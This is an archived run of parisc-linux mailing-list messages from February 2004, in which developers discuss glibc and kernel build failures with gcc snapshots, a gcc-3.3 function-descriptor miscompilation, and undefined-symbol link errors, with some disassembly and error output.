Subject: Re: [parisc-linux] glibc-2.3.3 & gcc-snapshot (3.5.0) pb
Date: Wed, 11 Feb 2004 16:32:52 +0100
Lines: 62
Approved: news@gmane.org
Message-ID: <402A42A100000200@ocpmta1.freegates.net>
References: <4029EF9C00000135@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623189 5548 80.91.229.3 (22 Nov 2014 02:26:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:29 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	James Morrison <ja2morri@csclub.uwaterloo.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Wed Feb 11 08:33:02 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3D00C4840
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Feb 2004 08:33:02 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AqwM9-0001T9-00; Wed, 11 Feb 2004 16:32:53 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 11 Feb 2004 16:32:52 +0100
In-Reply-To: <4029EF9C00000135@ocpmta1.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 11 Feb 2004 15:33:02 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20826


>-- Original Message --
>Date: Wed, 11 Feb 2004 10:22:24 +0100
>From: "Joel Soete" <soete.joel@tiscali.be>
>Subject: Re: [parisc-linux] glibc-2.3.3 & gcc-snapshot (3.5.0) pb
>To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
>Cc: "James Morrison" <ja2morri@csclub.uwaterloo.ca>,
> parisc-linux@lists.parisc-linux.org,
> "John David Anglin" <dave@hiauly1.hia.nrc.ca>
>
>
>Hi Carlos,
>
>
>The wrong files are being included. What is your configure line?
>As I just change gcc compiler, I don't change glibc configure options which
are:

"unset LD_LIBRARY_PATH; unset LD_RUN_PATH; \
export CC=/Develop/parisc-linux/xc/bin/hppa-linux-gcc; \
export CLFAGS="-O2 -g"; export PATH="/Develop/parisc-linux/xc/bin:$PATH";
\
/Develop/parisc-linux/src/glibc/configure --target=hppa-linux \
--host=hppa-linux --build=hppa-linux \
--prefix=/opt/palinux-3.5.0/hppa-linux --without-cvs \
--disable-profile --enable-hacker-mode --enable-add-ons=linuxthreads \
--with-headers=/Develop/parisc-linux/src/linux/include
"
>
[snip] (still have to have a look with gcc-3.3 for comparison)
>
with same glibc cvs src + your patch and gcc-3.3, no pb
but always same pb with gcc-snapshot (aka 3.5).

I find an interesting differnce between glibc config.h:
--- gcc-3.5.0//glibc/config.h	2004-02-11 15:07:53.667245536 +0100
+++ gcc-3.3.3//glibc/config.h	2004-02-11 15:26:00.256058928 +0100
@@ -104,7 +104,7 @@
 
 /* Define if __asm () on built-in function's prototype causes redirection
of
    the builtin.  */
-#define	HAVE_BUILTIN_REDIRECTION 1
+/* #undef	HAVE_BUILTIN_REDIRECTION */
 
 /* Define if the __thread keyword is supported.  */
 /* #undef HAVE___THREAD */

Where should look for to attempt to fix my pb?

Thanks in advance,

    Joel


-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3 & gcc-snapshot (3.5.0) pb
Date: Wed, 11 Feb 2004 11:27:02 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <20040211162702.GI990@baldric.uwo.ca>
References: <4029EF9C00000135@ocpmta1.freegates.net>
	<402A42A100000200@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623189 5550 80.91.229.3 (22 Nov 2014 02:26:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:29 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	James Morrison <ja2morri@csclub.uwaterloo.ca>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Wed Feb 11 09:26:39 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep03-mail.bloor.is.net.cable.rogers.com
	(fep03-mail.bloor.is.net.cable.rogers.com [66.185.86.73])
	by dsl2.external.hp.com (Postfix) with ESMTP id CA9664840
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Feb 2004 09:26:38 -0700 (MST)
Original-Received: from systemhalted ([24.43.33.92])
	by fep03-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040211162629.OVXG189272.fep03-mail.bloor.is.net.cable.rogers.com@systemhalted>;
	Wed, 11 Feb 2004 11:26:29 -0500
Content-Disposition: inline
In-Reply-To: <402A42A100000200@ocpmta1.freegates.net>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (64% Sync Ratio [======....])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep03-mail.bloor.is.net.cable.rogers.com from [24.43.33.92]
	using ID <patofiero@rogers.com> at Wed,
	11 Feb 2004 11:26:29 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 11 Feb 2004 16:26:39 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20827

> with same glibc cvs src + your patch and gcc-3.3, no pb
> but always same pb with gcc-snapshot (aka 3.5).
> 
> I find an interesting differnce between glibc config.h:
> --- gcc-3.5.0//glibc/config.h	2004-02-11 15:07:53.667245536 +0100
> +++ gcc-3.3.3//glibc/config.h	2004-02-11 15:26:00.256058928 +0100
> @@ -104,7 +104,7 @@
>  
>  /* Define if __asm () on built-in function's prototype causes redirection
> of
>     the builtin.  */
> -#define	HAVE_BUILTIN_REDIRECTION 1
> +/* #undef	HAVE_BUILTIN_REDIRECTION */
>  
>  /* Define if the __thread keyword is supported.  */
>  /* #undef HAVE___THREAD */
> 
> Where should look for to attempt to fix my pb?

Unknown. gcc-3.5 requires some non-trivial changes to code. You really
have to work with the gcc developers here. I tried building kernels with
3.5 but it's too much work right now, I'm sticking with the gcc-3.3
release until 3.5 matures and all the problems are understood. Stop
using gcc-snapshot to compile glibc :)

c.



From - Thu Nov 08 21:30:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3 & gcc-snapshot (3.5.0) pb
Date: Wed, 11 Feb 2004 16:50:25 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <402A42A10000045F@ocpmta1.freegates.net>
References: <20040211162702.GI990@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623190 5553 80.91.229.3 (22 Nov 2014 02:26:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:30 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	James Morrison <ja2morri@csclub.uwaterloo.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Wed Feb 11 09:50:35 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9FA3E4840
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Feb 2004 09:50:35 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AqxZC-0004bI-00; Wed, 11 Feb 2004 17:50:26 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 11 Feb 2004 17:50:25 +0100
In-Reply-To: <20040211162702.GI990@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 11 Feb 2004 16:50:36 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20828

[snip]
> Stop using gcc-snapshot to compile glibc :)

Ok I will do the same.

Thanks for your attention,
    Joel

-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: remove asm/keyboard.h ?
Date: Thu, 12 Feb 2004 21:34:44 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <200402122134.44677.deller@gmx.de>
References: <20040211050958.GA26554@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623190 5554 80.91.229.3 (22 Nov 2014 02:26:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Thu Feb 12 13:35:25 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 62185488D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Feb 2004 13:35:24 -0700 (MST)
Original-Received: (qmail 18712 invoked by uid 65534); 12 Feb 2004 20:35:10 -0000
Original-Received: from pD9040720.dip.t-dialin.net (EHLO p100) (217.4.7.32)
	by mail.gmx.net (mp016) with SMTP; 12 Feb 2004 21:35:10 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.6.1
In-Reply-To: <20040211050958.GA26554@colo.lackof.org>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 12 Feb 2004 20:35:25 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20829

On Wednesday 11 February 2004 06:09, Grant Grundler wrote:
> Comment in include/asm/keyboard.h says:
> 
> /*
>  *  WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING
>  *  ---------------------------------------------------------------
>  *  This file will be removed as soon as we have converted
>  *  hp_psaux.c and hp_keyb.c to the input layer !

Hi Grant,

I will check that soon.... if nobody else wants to take care in the meantime.

Thanks,
Helge


From - Thu Nov 08 21:30:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc-3.3 and problems in the 64 bit kernel
Date: 13 Feb 2004 09:20:27 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <1076682028.2159.10.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623190 5559 80.91.229.3 (22 Nov 2014 02:26:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:30 +0000 (UTC)
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Fri Feb 13 07:20:33 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id E163E487E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Feb 2004 07:20:32 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i1DEKfa07462 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Feb 2004 09:20:41 -0500
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 13 Feb 2004 14:20:33 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20830

our 64 bit gcc-3.3 (all versions) has a miscompilation problem that
results in a BUG() in the 64 bit kernel.  This shows up as:

 kernel BUG at mm/shmem.c:585

The problem turns out to be that gcc-3.3 is violating the OPD rules for
static functions (OPD == Official Procedure Descriptor and is supposed
to ensure that there's only one function descriptor per function,
allowing pointers to function descriptors to be compared directly
instead of having to be dereferenced).

The problem is generated because this comparison:

 if (inode->i_op->truncate == shmem_truncate) 

which is a function pointer comparison is always false.

There are several other function pointer comparisons in the kernel which
are in danger of failing in this manner, so the resulting kernel will
not operate correctly.

Hopefully, the gcc people will be able to fix this, but in the mean time
people should stick to gcc-3.0 to compile 64 bit kernels.  (gcc-3.3 is
fine for 32 bit parisc kernels).

James




From - Thu Nov 08 21:30:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3 & gcc-snapshot (3.5.0) pb
Date: Fri, 13 Feb 2004 15:35:09 +0100
Lines: 87
Approved: news@gmane.org
Message-ID: <402A4CA500001B4D@ocpmta2.freegates.net>
References: <20040211162702.GI990@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623191 5560 80.91.229.3 (22 Nov 2014 02:26:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:31 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	James Morrison <ja2morri@csclub.uwaterloo.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Fri Feb 13 07:35:20 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id B12EC487E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Feb 2004 07:35:19 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1ArePO-0004Xr-00; Fri, 13 Feb 2004 15:35:10 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Fri, 13 Feb 2004 15:35:09 +0100
In-Reply-To: <20040211162702.GI990@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 13 Feb 2004 14:35:20 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20831

Hi Carlos,

I find a better reason why the build of glibc failed with gcc-3.5: here is
the dump of rtld.os (which would contains ref to set_dp):
with gcc-3.3
------------
palx2000:/Develop/parisc-linux/build/glibc# objdump -d ./elf/rtld.os | more

./elf/rtld.os:     file format elf32-hppa-linux

Disassembly of section .text:

00000000 <set_dp>:
       0:	4b 54 00 48 	ldw 24(,r26),r20
       4:	0e 88 10 9b 	ldw 4(,r20),dp
       8:	e8 40 c0 00 	bv r0(rp)
       c:	08 1a 02 5c 	copy r26,ret0

00000010 <_start>:
      10:	37 de 00 80 	ldo 40(sp),sp
      14:	6b d9 3f b1 	stw r25,-28(,sp)
      18:	6b d8 3f a9 	stw r24,-2c(,sp)
      1c:	ea 60 00 00 	b,l 24 <_start+0x14>,r19
      20:	d6 60 1c 1e 	depwi 0,31,2,r19
      24:	2a 60 00 00 	addil 0,r19,%r1
      28:	34 3a 00 00 	ldo 0(r1),r26
      2c:	2a 60 00 00 	addil 0,r19,%r1
      30:	48 34 00 00 	ldw 0(,r1),r20
      34:	0a 9a 04 14 	sub r26,r20,r20
      38:	0f 50 10 b3 	ldw,ma 8(,r26),r19
      3c:	86 66 20 12 	cmpib,=,n 3,r19,4c <_start+0x3c>
      40:	8e 60 3f ef 	cmpib,<>,n 0,r19,3c <_start+0x2c>
      44:	0f 50 10 b3 	ldw,ma 8(,r26),r19
      48:	04 00 00 00 	iitlbp r0,(sr0,r0)
      4c:	0f 59 10 93 	ldw -4(,r26),r19
      50:	0a 93 06 13 	add r19,r20,r19
      54:	e8 40 07 f0 	b,l 454 <_dl_start>,rp
      58:	37 1a 3f f9 	ldo -4(r24),r26

========><========

with gcc-3.5
------------
palx4000:/Develop/parisc-linux/build/glibc# objdump -d ./elf/rtld.os | more

./elf/rtld.os:     file format elf32-hppa-linux

Disassembly of section .text:

00000000 <_start>:
       0:	37 de 00 80 	ldo 40(sp),sp
       4:	6b d9 3f b1 	stw r25,-28(sp)
       8:	6b d8 3f a9 	stw r24,-2c(sp)
       c:	ea 60 00 00 	b,l 14 <_start+0x14>,r19
      10:	d6 60 1c 1e 	depwi 0,31,2,r19
      14:	2a 60 00 00 	addil 0,r19,%r1
      18:	34 3a 00 00 	ldo 0(r1),r26
      1c:	2a 60 00 00 	addil 0,r19,%r1
      20:	48 34 00 00 	ldw 0(r1),r20
      24:	0a 9a 04 14 	sub r26,r20,r20
      28:	0f 50 10 b3 	ldw,ma 8(,r26),r19
      2c:	86 66 20 12 	cmpib,=,n 3,r19,3c <_start+0x3c>
      30:	8e 60 3f ef 	cmpib,<>,n 0,r19,2c <_start+0x2c>
      34:	0f 50 10 b3 	ldw,ma 8(,r26),r19
      38:	04 00 00 00 	iitlbp r0,(sr0,r0)
      3c:	0f 59 10 93 	ldw -4(,r26),r19
      40:	0a 93 06 13 	add r19,r20,r19
      44:	e8 41 02 84 	b,l 318c <_dl_start>,rp
      48:	37 1a 3f f9 	ldo -4(r24),r26

Why ref to <set_dp> is removed by gcc-3.5?
Is there a new optimization in gcc which remove "defined but not used" in
resulting obj?

Should I log a pb near gcc team?

Thanks again,
    Joel


-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dub@latnet.lv
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] can't compile 2.4.24: pdc_cons.o problem!
Date: Fri, 13 Feb 2004 20:06:12 +0200 (EET)
Lines: 36
Approved: news@gmane.org
Message-ID: <1076695572.402d1214ad4b7@clients.latnet.lv>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=KOI8-R
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623191 5564 80.91.229.3 (22 Nov 2014 02:26:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: dub@latnet.lv  Fri Feb 13 11:06:15 2004
Return-Path: <dub@latnet.lv>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.latnet.lv (mail.latnet.lv [159.148.108.13])
	by dsl2.external.hp.com (Postfix) with SMTP id 662524881
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Feb 2004 11:06:14 -0700 (MST)
Original-Received: (qmail 18147 invoked from network); 13 Feb 2004 18:06:15 -0000
Original-Received: from unknown (HELO sisenis.latnet.lv) (159.148.108.1)
	by mail.latnet.lv with SMTP; 13 Feb 2004 18:06:15 -0000
Original-Received: (qmail 10090 invoked by uid 33); 13 Feb 2004 18:06:12 -0000
User-Agent: IMP/PHP IMAP webmail program 2.2.6
X-Originating-IP: 212.93.96.158
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 13 Feb 2004 18:06:15 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20832

Hi,

I'm trying to compile a new kernel for K210. I tried both stable 2.4.24 and 2.4.23
(got them by "apt-get -t stable kernel-source-2.4.2x")

"make bzImage" fails with the following output:

arch/parisc/kernel/pdc_cons.o: In function `pdc_console_die':
arch/parisc/kernel/pdc_cons.o(.text.pdc_console_die+0x28): undefined reference
to `log_end'
arch/parisc/kernel/pdc_cons.o(.text.pdc_console_die+0x2c): undefined reference
to `log_end'
arch/parisc/kernel/pdc_cons.o(.text.pdc_console_die+0x38): undefined reference
to `con_start'
arch/parisc/kernel/pdc_cons.o(.text.pdc_console_die+0x3c): undefined reference
to `con_start'
arch/parisc/kernel/pdc_cons.o: In function `pdc_console_restart':
arch/parisc/kernel/pdc_cons.o(.text.pdc_console_restart+0x44): undefined
reference to `log_end'
arch/parisc/kernel/pdc_cons.o(.text.pdc_console_restart+0x48): undefined
reference to `log_end'
arch/parisc/kernel/pdc_cons.o(.text.pdc_console_restart+0x4c): undefined
reference to `con_start'
arch/parisc/kernel/pdc_cons.o(.text.pdc_console_restart+0x50): undefined
reference to `con_start'
ld: arch/parisc/kernel/kernel.o(.text.show_trace+0x58): fixing R_PARISC_DPREL21L
make: *** [vmlinux] Error 1	

Please tell me what kernel version can be compiled for PDC support? I compiled
2.4.20 without any problems! As far as I understand, pre-compiled kernels are
compiled without any  PDC console support. Thanks in advance for any help, I'm
not a Debian kernel guru. :-)

BR,
Dub


From - Thu Nov 08 21:30:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] can't compile 2.4.24: pdc_cons.o problem!
Date: Fri, 13 Feb 2004 18:10:16 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20040213181016.GO31168@parcelfarce.linux.theplanet.co.uk>
References: <1076695572.402d1214ad4b7@clients.latnet.lv>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623191 5567 80.91.229.3 (22 Nov 2014 02:26:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dub@latnet.lv
Original-X-From: willy@www.linux.org.uk  Fri Feb 13 11:10:18 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7D519487E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Feb 2004 11:10:18 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1ArhlZ-00014K-1H; Fri, 13 Feb 2004 18:10:17 +0000
Content-Disposition: inline
In-Reply-To: <1076695572.402d1214ad4b7@clients.latnet.lv>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
